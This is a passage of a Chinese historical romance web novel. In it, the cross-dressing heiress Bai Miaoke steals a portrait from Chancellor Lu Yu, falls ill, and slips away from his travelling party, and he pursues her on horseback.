几人向着树林深处走了不过一盏茶的功夫,白妙可就发现了一只野兔,未等后面的人反应过来,她已扔出一粒石子,击中兔子的后退,肥硕的兔子一瘸一拐走了两步便被春杏装进了随身的袋子。
此时跟来的几个锦衣卫才对这个瘦弱书生刮目相看,方才他们甚至都没看清他是怎么出的手。
随着白妙可又打到了两条鱼和一只田鼠,跟来的几个锦衣卫哪还有心思保护人,纷纷认真寻找猎物,若是空手回去可就太丢人了。
趁着他们将注意力转移到周围可能存在的猎物时,白妙可小声同春杏说:“今夜我去偷路线图。”
23. 秀色可餐
在天黑之前,白妙可几人回了营地。
生火处理打回来的吃食,这种事陆丞相自然是不会的,他已经从帐篷里出来了,看着白妙可转动着手上的一条鲤鱼。
戎青给他递上了一条烤好的鱼,附在他的耳边说:“公子,方才跟去的人说这两人有些功夫,恐怕是深藏不露。”
陆瑜淡淡点头,只回了个嗯。
戎青有些摸不着头脑,继续问道:“为了保险起见,属下安排人盯着他们吧。”
陆瑜依旧是不置可否,觉得让人保护一下她也行。
……
吃过东西以后,那些侍卫们便分批去河边洗澡,含蓄些的留着一条中裤,大多数都是常年习武的糙人,直接赤条条地下水。
白妙可虽是有些色心,但也只是心里想想,这般场面哪里见过,正想拉着春杏出去避避。
陆瑜便让他们走远些去洗,确保这边不会看到。
附近很快安静下来,只偶尔有水声伴随着几声虫鸣传来。
白妙可饶有兴致地盯着陆瑜,没想到他竟如此细心。
又看了两眼,她又开始感慨这男人生的着实好看。
此刻他的半边脸映照着火光,半边脸隐在黑暗当中,显得轮廓更加分明。
白妙可用眼神细细描绘他挺翘的鼻梁和深邃的眉眼,像是在欣赏女娲最得意的作品。
在她开始思考自己霸王硬上弓的可行性的时候,陆瑜转头看了过来,正好撞上她的视线。
极擅察言观色的他自然看出了白妙可眼中毫不掩饰的欣赏,努力压制住自己翘起的唇角,故作镇静地开口:“白公子在看什么?”
白妙可直言不讳:“没有山珍海味,只能靠秀色可餐。”
陆瑜的脸上还是一片平静,耳根却可疑地红了起来。
不知是不是被面前的火堆烤的,他感觉脸也有些发烫,没想到她会这般直白。
一时有些语塞,想说她也是极好看的,却是难以开口。
看着他羞涩又故作镇定的模样,白妙可忍俊不禁,没想到传闻中心狠手辣的丞相大人竟然如此纯情。
不再逗他,白妙可主动转移了话题,问道:“你去江南做什么?”
陆瑜早已预料到她会这般问,搬出早已想好的回答:“圣上命我前去江南查惩贪官。”
白妙可知道这事儿,前段时间江南洪灾,的确有不少难民涌入京城,看来是层层克扣朝廷赈灾银所致。
她点头赞同:“的确该好好查查。”
她是商人,肯定也爱财,但是她深谙君子爱财,取之有道的道理,白家做生意也从不会欺诈普通百姓的钱。
想了想,她接着打探道:“那你可知如何走能最快到江南?”
这便是想要打听路线了。
陆瑜便是想要与她同行,这种机密也是不方便说的,万一泄露出去,两人都有危险。
他只能道:“放心跟着我,最多半月可到。”
白妙可对这个回答不甚满意,保持沉默没接话,心里盘算着看来还是要靠自己。
两人好不容易有机会坐着聊聊,陆瑜继续寻找话题:“你有亲人在江南吗?”
白妙可回:“我外祖家可能在江南,我去找他们。”
陆瑜问:“在江南何处?”
“我也不知道,我母亲早已去世,我也没见过他们。”也许是这件事情憋在心里太久,白妙可第一次想与别人分享此事。
陆瑜看着她此刻低垂的眉眼,少了几分张扬,多了一丝惆怅。
想起她上次醉酒后痛哭的样子,心底浮上丝丝心疼,想将她拥进怀中,却是不能。
再开口时,语气是说不出的温柔:“这次去江南定能找到他们的。”
还有一句“凡事有我,不必自己抗”也被他咽了下去。
白妙可抬头看着天上的星星,眼里含着热意,轻声呢喃:“对啊,母亲会一直在天上保佑我的。”
不知是说给他听,还是说给自己听。
伴随着木头燃烧的噼啪声,两人一起看了会儿漫天的繁星,宁静祥和的氛围在周围流淌。
白妙可再次开口,语气已经恢复了往日的轻快:“我们明日就能进城吧?”
陆瑜回:“是,如果顺利的话明天上午便可进城。”
白妙可露出期待的神色,终于可以泡个热水澡,睡上舒服的床了。
若是只有她与春杏两人,她也想下水洗个澡。
想着想着,她好奇地问陆瑜:“你怎么不跟他们去洗澡?”她还记得陆瑜身材不错呢,脸上露出坏笑。
陆瑜:“……我不习惯。”
白妙可了然,原来是不好意思,开口调侃:“丞相大人自然是不能在如此简陋的环境中沐浴。”
陆瑜无奈的笑了笑,没有反驳。
白妙可看着他的笑,心底涌上一丝好奇,他到底是个怎样的人呢?
虽然嘴上叫着丞相大人,但是她感觉这位大人与传闻中很不一样。时常表现得像是个纯情书生一般,哪有半分朝堂上叱咤风云的模样。
侍卫们很快回来,不用陆瑜吩咐,戎青便已经做好了今夜轮流守夜的安排,还格外叮嘱他们多留意白妙可和春杏二人所在的帐篷。
此时白妙可已经和衣躺在了简陋的帐篷中,不太舒服的翻来覆去。
人果然是不知满足的,若说昨夜迷路的时候,她觉得有个能遮风睡觉的帐篷已经很不错了,今天她就开始不满足了,开始期待起明天能睡在柔软的床上。
她不太清楚陆瑜计划的路线,若是天天露宿她可受不了。
白妙可胡思乱想了半天,听着外面逐渐安静下来。
一个翻身坐了起来。
春杏也没睡,看她起身也跟着起来。
“去吧。”白妙可声音极小地对她道。
两人的计划是由春杏引开晚上守夜的侍卫,白妙可趁机溜进陆瑜帐篷拿路线图。
春杏点点头,从帐篷中走出。
刚一抬头就对上了一双铜铃般的眼睛,靠着月光她才认出此人是戎青。
他本就是偏黑的小麦肤色,在夜晚更是天然具有隐蔽性。
他此刻在盯着春杏,眼神中蕴含着审视和无声的询问。
春杏硬着头皮开口:“戎小兄弟守夜辛苦了。”
她的声音不算小,希望屋里的白妙可接收到了她的信号。
边说边继续往外走。
“白二公子去哪儿?”戎青阴测测地问。
“我……我要去出恭。”春杏磕磕绊绊说了借口。
戎青没回话,只是亦步亦趋地继续跟着她。
走出近百米,春杏忍不住说:“你别跟着我了。”
戎青回头看了眼,道:“别走了,就这儿吧。”
春杏点点头,觉得这个距离应该听不见那边的动静了,才停下脚步。
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看着杵在面前铁墙一般的男人,无奈道:“你转过去,别看着我啊。”
戎青沉默转身。
春杏这才拽着身上的衣带,弄出些窸窸窣窣的声音却没有真的解开,她才不会真的在这儿……
知道习武之人耳力过人,她虽然没脱衣服,但是还是蹲了下去。
“这一路上都没碰见其他人,为何还要轮流守夜啊?”她努力找话题吸引戎青的注意力。
“自然是为了保护我们公子。”戎青回。
“那你晚上不睡,白天赶路不困吗?”春杏继续问。
戎青:“不困。”
真是个嘴硬的家伙,春杏继续蹲在地上没话找话。戎青的回答还是平淡且简短,但是还算句句有回应。
最后戎青主动问了个问题:“白二公子,你是不是怕黑?”
春杏:……
约莫时间差不多了,她站起来拍拍有些发麻的腿:“走吧。”
两人走回营帐,春杏进了帐篷,就看见白妙可坐在床边翘着腿,冲他点了点头。
刚才白妙可顺利潜进了陆瑜的帐篷,帐内只有他一人,十分昏暗。
白妙可在帐内扫了一眼,立刻锁定了陆瑜枕边放的一张纸。
轻手轻脚地走到床边,听着男人均匀的呼吸声,她伸出去准备去拿那张纸的手有些不受控制地靠近了男人的侧脸,她深呼吸了几下才忍住没去摸一把这张俊脸,还是一把拿过了那张纸。
隐约看到上面有些图画和注释,她心头一喜,勾勾唇角又从头到脚打量了一遍躺着的男人。
再次感慨他不仅脸好看,身材比例也这般完美。要不是自己着急赶路,天天都能看这么个俊秀美男倒也不错。
听见隐约的脚步声,她收回视线,几个闪身就回了自己的帐篷。
果然等了没多久就等来了春杏,她将手里那张纸妥协放好,两人才心满意足地入睡。
第二日依旧是一大早就被叫醒,但是比起昨日还是晚了些许。
白妙可起来的时候春杏已经出去帮忙收拾东西了。
她揉揉眼睛坐起身,第一件事就是拿出昨夜偷回来的纸,夜里昏暗又不方便点灯,她没有仔细去看。
直到今早才发现自己手里这张纸,哪里是什么路线图,分明是一幅画。
画上是一个身穿骑装高坐马上的女子背影,寥寥几笔也勾勒出了肆意洒脱之感。只见女子身形笔直,腰身纤细,三千青丝高高竖起,仿佛正在随着马身颠簸而飞扬飘逸,露出其下小巧而精致的耳垂。
白妙可眼尖地发现画上女子耳垂上的一枚小痣,她不自觉地摸了摸自己的耳朵,越看越觉得画上的人像是自己。
他画自己做什么?白妙可的思绪有些混乱,一时忘记了自己要找的其实是路线图。
帐外传来催促的声音,她匆忙将手中的画妥帖收好,出门便发现一行侍卫们几乎都已收拾妥当。
只有陆瑜手里捧着一卷书,不紧不慢地看着她道:“白公子昨夜睡的如何?”
白妙可想起那幅画,一时心虚,避开了他的视线,边去牵马边答道:“尚可。”
身后传来一声轻笑,接着是一句:“巧了,陆某也是。”
白妙可轻哼一声转身上马,第一次觉得这张俊秀的脸有些欠揍。他肯定猜到是自己去偷还偷错了东西,所以在嘲笑自己!
但是他到底是为何要画自己,还放在枕边呢?
24. 龌龊心思
上午初始的行程还算顺利,只是天色阴沉得厉害。陆瑜抬头看天,吩咐道:“加快速度,快下雨了。”
赶车的富贵应了一声,加快了手里的马鞭。
可惜天不遂人愿,半个时辰不到便下起了瓢泼大雨,雨滴断了线般落下。
马背上的白妙可纵然是撑着油纸伞,也被打湿了大片衣裳下摆。
她今日穿的是一身淡青色束腰袍衫,被雨打湿以后颜色变得更深,远看像是一幅不规则的山水画般。
可是她的心情就没有这么美妙了,她皱着眉头看着脚下泥泞的道路和旁边一览无余的空旷荒野。
“这雨约莫还要下半个时辰,先随我去车上避避雨吧。”身后响起了陆瑜的声音。
他同样撑着一把油纸伞,抬头望过来,白妙可与他隔着雨帘对视,觉得他那双锐利的眸子都变得朦胧了起来。
她悄悄摸了摸揣在怀里的那幅画,跃下马朝他走去。
两天下来她还是第一次上他的马车,没见春杏跟来,她刚想去喊,对面的男人像是有读心术一般开口:“你那丫鬟跟富贵在后面那辆车。”
听见这话,白妙可才安心坐下打量起马车内的陈设。
马车内部布置的十分简单,只有一条长榻,一方小桌,桌上放着笔墨还有一个茶壶。
陆瑜提起茶壶倒了两杯水,将其中一杯推到白妙可面前。
因为只有一条长榻,因此两人是并排坐的,中间隔着半臂的距离,白妙可恰好能看见男人轮廓分明的侧脸。
她道了声谢,端起温热的茶水一饮而尽,感觉被雨水冷到的四肢百骸都暖了起来。
陆瑜又给她倒了杯茶水,才不紧不慢的开口:“你想找什么?何不直接问我。”
白妙可在心里叹口气,他果然猜到是自己拿了那幅画,这个老狐狸!
斟酌片刻她缓慢开口:“我……我路过恰好看见那个,就……”
磕磕绊绊说完一句话,她在心里反省自己说谎的技术真是越来越差了,怎么会想出这么撇脚的借口。
噗嗤,陆瑜没忍住笑了出声,噙着笑问:“路过?白姑娘是说半夜又路过了我的卧房吗?”
听着他可以强调的又字,白妙可破天荒地感觉有些害羞,热意悄悄从心头爬上脸颊,她恼羞成怒地从怀中掏出那幅画扔给陆瑜。
男人双手接过那幅画,没让它落到地上,一转头看见了白妙可白里透红的脸。
陆瑜印象中这还是第一次见这“小骗子”脸红,不禁多看了两眼。
直到白妙可快忍不住打人的时候,他才将画展开放在桌上,语气真挚地问:“喜欢吗?”
白妙可愣了一瞬,一时没反应过来他在说什么,直到顺着他的视线看到画上的女子背影。
还是第一次有人画她,虽然只是背影,心里自然是喜欢的,但是白妙可不想承认,轻哼了一声没有回答。
陆瑜却突然道:“我喜欢。”
这次白妙可是真的愣住了,不知他说的是画还是人……她转过头去看他,恰好对上他认真的眼眸。
白妙可头一次觉得心跳得这么快,她觉得自己心跳的声音都快盖过了外面的雨声。
白妙可不得不承认,这个男人有些姿色,又这般认真地看着自己,她很难不心动。
可是她还有正事没办呢!
她清清嗓子决定反客为主:“那丞相的眼光着实不错。”
听见这话,陆瑜又笑了,心情很好地看着白妙可红透的耳朵和故作淡定的话语。
没关系,他向来是个有耐心的猎人。
不是都说丞相清冷孤傲嘛,白妙可觉得他今日笑的有些多了……
紧接着,她便看见男人慢条斯理地将那幅画卷好收到了一个木制画筒之中,抬手放到了一旁的架子上。
上面还摆放着几个类似的画筒,白妙可用目光搜寻一圈,试图辨认里面是否有路线图。
男人恢复平淡的声音传来:“我已将路线熟记于心,你安心跟着我便是。”
说完又补充一句:“不必担心。”
白妙可内心有些复杂。她在白家是少东家,便是几万两的生意也由她一人做主,在月影阁也是说一不二,她不愿接的任务从来无人敢强迫她。
还是第一次有人用这般哄小姑娘的口吻对她说话,她没有回应。
只是听着外面小了不少的雨声,掀开车帘看了一眼,对着陆瑜道:“雨小了很多,继续上路吧。”
说罢就准备起身下车。
陆瑜下意识地拉住了她的衣角,她回头看过来。
像是觉得有些不妥,陆瑜又送来了手,只是道:“就坐马车吧,也快到了。”
白妙可的注意力却被他收回去的手吸引了,那是一双骨节分明又修长白皙的手,此刻正握拳,手背上几条青筋凸起分明。
她又开始想入非非了……
于是顺其自然地又坐了下来,心想,明天就要走了,再看两眼美男也行。
待她坐稳,陆瑜才扬声让众人出发。
伴随着错落的马蹄声和雨声,白妙可一开始还同陆瑜有一搭没一搭地说这话,很快便有些困了。
她也不知怎么自己在这个男人身边这么容易犯困,不知不觉间就陷入了梦乡。
下过雨的小路泥泞不平,便是侍卫已经格外小心,马车还是止不住的晃晃悠悠。
白妙可靠在车壁上的脑袋也就跟着一晃一晃。
陆瑜盯着看了两眼,不动神色地往她身边挪了一下,两人便只隔着一拳不到的距离。
当马车路过水坑又一次晃动的时候,白妙可的头便靠到了陆瑜的肩头。
她无意识地蹭了一下,找了个更舒服的角度,又沉沉睡去。
陆瑜感觉到她的发顶贴着自己的脖颈,几根细碎的头发扫过皮肤,激起一阵痒意,他却一动不敢动,生怕吵醒她。
陆瑜身体僵硬,保持不动,心跳却是越来越快,他努力平复心跳,也只是徒劳。
他微微低头去看女子沉静的面容,她的睫毛纤长,细细密密地在白皙的皮肤上投下淡淡阴影。
未施粉黛的肌肤吹弹可破,只有眼角的一颗小痣平添几分灵动。
再往下看,便是微微抿起的红唇,陆瑜情不自禁地想着这唇该有多柔软,喉头不自觉的滚动了一下。
陆瑜的视线继续下移,就看见了淡青色的男子衣袍。她应该是做了些伪装,宽大衣袍掩盖了她的曲线,可是陆瑜无端想起了她在醉春楼假扮舞姬的曼妙身姿,忽的移开了视线,在心里唾弃自己的龌龊心思。<
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p>马车晃晃悠悠走了半个时辰就到了业城。
“公子,业城到了。”富贵的声音在车外响起。
白妙可的睫毛颤了颤,却仍未醒来。
陆瑜微微偏头看向她,眉头蹙起,觉得事情有些不对,抬手附在少女的额头,感受到灼人的温度。
突然车帘掀开,一直没听到他回应的富贵和戎青一脸紧张地站在车外,双双愣在了原地。
他们面色复杂地看着靠在丞相大人身上的俊秀书生,还有丞相附在书生脸上的手,一时无言。
还是富贵率先反应过来,将车帘一关,对着外面的众人尽量平静道:“公子无事,大家散开守着。”
知道他们误会了什么,但是陆瑜现在无心纠结这些,因为白妙可发热了。
怪他方才身体太过僵硬,以至于未曾发现她的异样。
他对外吩咐道:“进城,立刻寻个医馆。”
他虽然刻意压低了声音,但是白妙可还是醒了过来,她坐起身揉揉眼睛,并未发现自己刚刚靠在男人的身上。
陆瑜暗暗动了下已经麻木的肩膀,开口道:“你好像有些发热。”
白妙可摸摸自己有些发烫的脸,嘀咕道:“怪不得感觉这么累。”
她接着问:“我睡了多久?”
“半个多时辰。”陆瑜答。
感受到马车还在碌碌作响,白妙可边掀开侧面的窗帘边问:“我们这是到业城了吗?”
陆瑜淡淡嗯了一声,听着她依旧活力满满的声音,那颗悬着的心渐渐放了下来。
白妙可仍旧在看着街边叫卖的小贩和几家挂着白字招牌的店铺,心情很不错,丝毫不受身体上的不舒服而影响。
她兴致勃勃地问:“我们先去吃饭吧?去那家怎么样?”
边说边指着路边的一个酒楼给陆瑜看,后者顺着她的手指看向那个三层高的酒楼,都不必问就知道这又是白家的产业。
“先不去。”他的语气不容拒绝。
白妙可不高兴地瞪了他一眼:“那我们现在去哪儿?”
陆瑜还未回话,马车便停在了路边的一家医馆。
白妙可小脸一皱,眼睛瞪的更圆了:“只是小小风寒,我不用看大夫!”
她自幼习武,身体一直很好,少有生病的时候,这次风寒大概率是最近几日风餐露宿加上方才淋了点小雨引起的。
她敢说自己不用吃药,睡一觉明天便好。
但是她低估了陆丞相在某些事上的执拗程度,他问:“你要自己下去还是让他们将大夫请进来?”
白妙可无奈叹气,算是妥协了。她理了理睡的乱糟糟衣服,便准备下车。
陆瑜却突然抬手将她翘起的一缕发丝轻轻抚平,白妙可对他投去一个感谢的眼神,就率先跳下了车。
呼吸着雨后的新鲜空气,她觉得自己身心舒畅,百病全消。
陆瑜跟在她身后下车,一下车便注意到了周围侍卫们探究的目光。
都是懂规矩的锦衣卫出身,便是好奇也很是隐蔽,可惜逃不过最会察言观色的丞相大人。
富贵关心地问:“公子可是有哪处不舒服?”
他轻咳一声,摇摇头,对着白妙可道:“走吧。”
白妙可便垂着头跟他进了医馆。
25. 老婆跑了
头发花白的老大夫摸着胡子替白妙可把脉,须臾收手道:“姑娘的身体强健,偶感风寒罢了,并无大碍。”
白妙可听完这话,露出意料之中的微笑,对陆瑜道:“我就说没事儿吧。”
陆瑜转头对大夫道:“劳烦您多开副驱寒汤药。”
白妙可:“我不用吃药就能好,为什么还要多开几副?”
陆瑜:“路上带着,以防万一。”
白妙可:……
富贵跟着大夫去拿药了,只剩下白妙可陆瑜还有戎青在原地等候。
陆瑜突然开口:“此事保密。”
戎青恭敬应是,顺带抬头看了一眼白妙可。
白妙可满脸疑问,在看到戎青复杂的目光后恍然,原来刚才的老大夫说漏了她的女子身份!
她感激地冲戎青笑了笑,她的确不想被知道女子身份,会有很多麻烦。
陆瑜看着她的笑,觉得有些刺眼,不等富贵出来他便抬腿往外走去。
戎青立刻跟上,白妙可撇撇嘴道:“丞相大人,现在该去吃饭了吧。”
陆瑜无奈道:“走吧。”
白妙可笑着跑到他前面:“终于不用吃干粮了!”
陆瑜紧绷的嘴角又不自觉的带了些弧度。
酒楼二楼,白妙可将店里的招牌菜都点了一遍,才看向陆瑜:“丞相大人想吃什么?”
陆瑜:“都可。”
白妙可想了想,对店小二道:“再加一坛桃花酿。”
一听她还要喝酒,陆瑜皱眉:“酒不要。”
白妙可:“为什么?我好久没喝了!”
陆瑜:“你还有风寒,饭后仍需喝药,怎能喝酒?”
白妙可:“我不想吃药!”
陆瑜:“那也不能喝酒。”
看着他油盐不进的冷酷模样,白妙可打人的心都有了,可惜太多侍卫就在外面,她攥了攥拳头,妥协了。
这男人管的太多了,便是再俊秀她也快受不了了。
白妙可愤愤不平的功夫,色香味俱全的菜被一道道端了上来。白妙可立刻抛下了刚才的不爽,拿起筷子大快朵颐。
边吃边觉得这家店的大厨手艺还不错,跟京城相比也不逊色,该跟掌柜说一声,给大厨涨涨工钱。
可惜她今日并不打算拿出白家商号的信物来表明身份,虽然也算不上什么秘密出行,但是能低调还是尽量低调为好。
还算和谐的吃完一顿饭,白妙可又理所当然地选了一间白家名下的客栈,让戎青确定周围安全以后,陆瑜也就随她去了。
白妙可冲进房间便吩咐小二送热水上来,等水的功夫,春杏端了一个瓷碗进来。
“小姐,陆大人让人送来的风寒药,您要不要现在喝?”春杏问。
白妙可趴在桌上,懒洋洋道:“我不喝。”
接着跟春杏抱怨:“你说他是不是管的太宽了,酒不让喝,还非要我喝药。”
春杏抿嘴笑:“陆大人也是为您好。”
白妙可轻哼一声:“明天一早我们就走。”
“小姐知道路了?”春杏问。
“就走官道吧。”白妙可拍板。
“走官道更方便找到城镇过夜,况且骑马比马车可快多了,最重要的是,还不用早起也不用被管着。”白妙可算盘打到飞起。
春杏点点头,让小二将热水放下,就要服侍白妙可沐浴。
“你也去洗吧,我这儿不用你帮忙,我要多泡一会儿。”白妙可靠在浴桶边上说。
春杏离开以后,她在热气氤氲中长叹一口气,又想起那幅画和车里说的那句喜欢,陆瑜那张过分俊秀的脸又出现在脑海。
她抬手将水拍在脸上,带着热意的水珠顺着她的鼻梁脸颊滑过,滴落至锁骨,又没入一片绵软。
她轻叹:真是色令智昏啊!
将思绪逐渐放空,她下滑将自己整个浸没在水中,闭目调息。
待到桶里的水渐渐变温她才起身,穿好衣服便看见春杏留在桌上的那碗药,啧了一声,径直躺到床上去了。
一-夜无梦。
第二日清晨,天蒙蒙亮白妙可便醒了,她坐起来活动了一下筋骨,哪里还有半分不舒服。
她弯起唇角,轻声唤了下睡在外间的春杏。
“小姐身子好些了没有?”春杏进门问道。
“我这身体,你又不是不知道。”白妙可笑着自夸。
春杏也露出一个安心的笑,继续道:“小姐,行李都收拾好了。”
白妙可正在缠着裹胸布,春杏上前帮忙,两人忙活半天也没将高山夷平,白妙可反而觉得呼吸都不顺畅了。
春杏一脸为难,有些不好意思地开口:“小姐,你这……有些勉强了。”
她耐心告罄,宣布放弃:“算了,就这样吧,得快些出发了。”
她知道陆瑜的人向来起得早,再磨蹭恐怕就走不了了。走前又看了眼桌上那碗汤药,抬手倒在了窗外,留下一个空碗。
很快两个身影一前一后出现,一人背着一个小包袱溜出了清晨沉寂的客栈,走之前还不忘去后院牵上两匹马。
时辰尚早,城门还未开,白妙可便带着春杏在靠近城门的包子铺吃包子。
白妙可刚刚将一个热腾腾的包子放进嘴里,就听见旁边桌传来交谈声。
“听说了吗?那位大名鼎鼎的丞相大人要死了。”一人压低声音说。
“丞相大人不是才而立之年吗?怎么回事?”另一人追问。
“害,据说是病入膏肓,连床都下不来了。”
“这么严重!那之前减免田赋的事情还做不做数了?”
“唉,不好说啊,今年收成不好,我还指望丞相大人能尽快替我们减免些税赋呢。”
“可惜啊可惜。”
两人止不住地唉声叹气,只是不知是在叹庄稼收成不好还是叹丞相大人贵人薄命了。
听完闲话,城门也开了,白妙可跟春杏第一批出城。
时间还早,拐上官道以后,路上的行人并不多。
春杏问:“小姐,京城里不是都传丞相大人心狠手辣,狡猾可恶吗?为何那两人这般可惜他生病?”
白妙可打着哈欠道:“京城里多是达官贵人,在乎的只有家族利益,哪里知道民间疾苦。”
“意思是丞相大人做的事情对百姓有利?”春杏好奇地问。
“改科举,减田赋,惩贪官,百姓怎么能不感激他。”白妙可语气里不自觉地带了了几分赞许。
接着却又叹了口气。
“小姐为何叹气?”春杏问。
“就怕他没命享受百姓的感激了,想杀他的人可不少。”
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白妙可压下心头的不安,故作轻松的说。
春杏也惋惜地叹了口气,小声嘀咕:“太可惜了,再找出像他这般能配得上小姐的,可不容易了。”
白妙可笑了笑,笑意却不达眼底,随口调侃道:“他还算是有几分姿色吧。”
客栈内。
有几分姿色的陆丞相看着人去楼空的房间,半晌无言。
“公子,客栈和附近都找了,没找见人,也没有打斗的痕迹。”富贵进来禀报
“对了,后院少了两匹马。”富贵小心翼翼补充道。
陆瑜点点头,面色有些阴郁,他本就该知道以那位的身手,哪有人能带她走,现在更加明了了,她就是偷溜走了。
他走到床边坐下,抬头恰好看见桌上的空碗,无奈地露出一个苦笑。
“她为何要走?”陆瑜嗓音低沉。
不知道是不是在问自己,富贵小声答道:“或许白姑娘有其他事情。”
陆瑜摇摇头,准备起身离开,却无意瞥见了枕头上整齐叠放的一片东西。
他伸手拿过展开,发现是一块绣着栀子花的手帕,握在手中,仿佛还有淡淡花香。
仿佛有阳光透过乌云,陆瑜从未觉得自己的情绪这般多变,转瞬由阴转晴。
他将手帕仔细收好,起身吩咐富贵:“走吧。”
富贵立刻追上,问:“去哪儿啊公子?”
“按原计划。”陆瑜头也不回道。
走了没两步又飘来一句:“联系暗卫,往南边方向找人。”
富贵一时心惊,斟酌了片刻才开口:“可是公子,万一后面有危险……”
陆瑜转身淡淡看了他一眼,带着几分权臣的果断决绝,不容回绝。
富贵连忙低头应是。
暗卫是镇国将军也就是陆老爷子亲自培养出来保护公子的,都是军中万里挑一的忠勇之士,可以说是他们此次江南之行的底牌。
暗卫跟着车队从京城出发,一直隐在暗中保护陆瑜,按理来说不到万不得已不会出动,若是派出去找人的话,万一碰见锦衣卫对付不了的刺杀,就麻烦了。可是富贵再担心也不能违背自家主子的意思。
众人依旧按照原计划上路,大家都发现少了昨日的两个书生,又联想到丞相大人与书生在车上的亲密举止,最终还是无人敢问他们去哪儿了,只能各自在心中暗暗猜测。
陆瑜上车以后也没闲着,又开始执笔写写画画,但是这次显然比上次速度更快,一刻钟左右便轻轻点下最后一颗小痣,将画卷交给富贵。
“让他们按照画像找人,越快越好。”陆瑜面无表情道。
富贵接过画,看了一眼便发出一声赞叹,画上的人一身长衫,手执折扇,眉眼灵动,貌若好女。在心里暗暗腹诽:这得盯着看了多少遍才能画的这么惟妙惟肖啊……
陆瑜拿出看了许多遍的舆图,在脑中勾勒白妙可可能的路线,在舆图上圈出几个城镇,道:“快马加鞭,重点在这几处的入城口守着,一有消息立刻通知我。”
富贵点头应是,下去安排了。
今日的天气依然是乌云密度,黑压压地让人喘不过气。
陆瑜独自坐在车内,聊胜于无的光线透过车窗,他一只手按着眉头,一只手摩挲着白妙可留下的那方锦帕,面上不悲不喜,让人看不出在想些什么。
26. 快马加鞭
白妙可为了方便赶路,除了随身衣物以外,带的最多的就是钱,毕竟有钱能使鬼推磨。
其实本来钱也是不必带太多的,她能凭借白家少东家的信物从遍布全国的白家钱庄取出大量现银,但是白妙可不愿暴露自己的身份。
她一路沿着官道走,基本每晚都能赶到沿途的城镇落脚,当然毫无例外地住当地最好的客栈,因此离开陆瑜以后这几日过得还算舒心。
而且为了速度,她们每到一个城镇都会换两匹更快的马,不到一周时间便走到了昌州。
如前几日一样,她们一进城便找到城中最大的客栈落脚,这间气派的客栈还恰好的白家的产业。
两人进门以后。
在无人注意的角落,两个黑衣蒙面的人对视一眼,随后一只鸽子振翅飞走。
当白妙可呈大字躺在雕花拔木床上打滚的时候,八十里以外的丞相大人靠在一颗树上正在啃着干粮。
近几日他们按照陆瑜计划的路线七拐八拐,好歹拜托了刺客的追杀,一路安全,但是却也日日风餐露宿。
几日下来一行侍卫都黑了一圈瘦了一圈。也许是一直坐在车上的原因,只有陆瑜那如玉的肤色没有变化,但是一向矜贵优雅的陆大人下巴处都长出了一层胡茬,平添了几分别样的气质。
富贵拿着一卷字条过来:“公子,暗卫传回来的消息。”
陆瑜面色平常地伸手接过,却并没有立刻打开。
他近几日陆续收到了派出去的几波暗卫的消息,在他圈出的几处城镇均没有发现白妙可的踪迹,一向自信的丞相大人都开始怀疑自己的判断了,毕竟那是位不按套路出牌的姑娘。
吃完最后一口干粮,他才将纸条展开,看清上面所写的瞬间站了起来。
一旁的富贵激动地问:“白姑娘可是有消息了?”
看着自家主子一日日的期待又失望,肉眼可见的憔悴了起来,富贵也很是着急。
陆瑜点头,向着西南方向深深看了一眼,缓缓吐出一口气,吩咐道:“在昌州。”
“这才几日功夫,白姑娘怎么这么快就走到昌州了!”富贵很是诧异。
陆瑜眉头蹙了蹙,“快马加鞭,加上官道平坦,自然能到。”
“那怎么办?我们一时半会儿也追不上了。”富贵叹气。
“能追上的。”陆瑜眸色深深,语气笃定,让人莫名信服。
一刻钟后,陆丞相坐在一匹高头大马上眉头紧蹙。
父亲母亲都是大名鼎鼎的将军,陆瑜自然也是从小便学习骑马,但是会骑和愿意骑不是一回事儿。
他扭头看着马尾处聚集的马蝇,任凭马尾一甩一甩地驱赶着,还是嗡嗡嗡地围在附近,眉头皱成深深的川字。
多年伺候的富贵在一旁看着他的神情,犹豫开口劝道:“公子要不还是换成马车吧,让戎大人他们先去将人拦下。”
陆瑜摇头:“他们拦不住她的。”
闻言,戎青带头的锦衣卫虽未言语,但是面上都是不认同,毕竟锦衣卫都是万里挑一的军中高手,怎会连两个瘦弱书生都拦不住。
话虽如此,丞相人都坐在马上了,也无人再敢质疑他的决定。
戎青想了想,上前压低声音对陆瑜道:“大人,马都是这般,跑起来便好了。”
到底是心理素质极强的权臣,陆瑜丝毫没有被发现心事的窘迫,只是默默一夹马腹冲了出去。
其余人立刻策马跟上。
队伍没了马车的限制,果然快了许多,加上陆瑜带着众人抄了一条地势平缓的小道,照这个速度,明日天黑前便能赶到昌州。
但是坐惯了马车的陆瑜就比较遭罪了。
天黑众人再次就地扎营的时候,陆丞相默默走到火堆旁,从行李中翻出随身备着的外伤药。
富贵很快发现了他的动作,关心地问:“公子哪里受伤了吗?”
陆瑜面无表情地摇了摇头:“一点儿擦伤罢了,无妨。”
富贵很快反应过来,看向他的双腿之间。
察觉到富贵的视线,陆瑜平静的脸色黑了一分,他步伐稳健地向着已经搭好的帐篷走去。
“我帮公子上药吧。”富贵的声音从身后传来。
陆瑜头也不回地说了句:“不用,你去抓条鱼,晚上吃鱼。”
把人支走了,陆丞相强撑着走进自己的帐篷,才一瘸一拐地走到临时铺的软榻上坐下,撩起衣摆看着腿上骑马摩擦出来的伤痕。
浅浅涂上一层外伤药,虽然面上还是没什么表情,但是额头细密的汗珠暴露了他此刻强忍的疼痛。
他又拿出那块绣着栀子花的手帕,上面的少女留下的气息已经淡去,他久久地凝视着手帕,直到那阵疼痛缓解些许。
“公子,鱼烤好了,您出来用饭吧。”富贵的声音从帐外传来。
陆瑜起身出去,随便吃了两口,便想回继续回帐中休息。
又突然想起什么,走到溪边,看了看溪水中倒映的自己,片刻后从袖中摸出一把匕首。
这一举动吓了旁边的富贵一跳,赶忙阻拦:“公子,你要做什么?”
陆瑜淡淡地瞥了他一眼,开口道:“净面。”
富贵尴尬地挠了挠头,就看见自家公子细致地用锋利的匕首刮去胡茬。
片刻后,陆瑜收起匕首,望着水中自己的倒影露出一个微笑,丢下不明所以的富贵,自己往帐篷去了。
“有消息第一时间告诉我。”边走边吩咐道。
不必细说,富贵也知道他说的必然是白妙可的消息,呆呆地应了一声,突然明白了一向无所谓的公子为何突然开始在意起自己的样貌。
陆瑜躺在帐篷之中,清楚感受到身体因为翻山越岭赶路而产生的疲惫,意识却是十分清醒,想到明日便要见到她了,他罕见地觉得有些紧张。
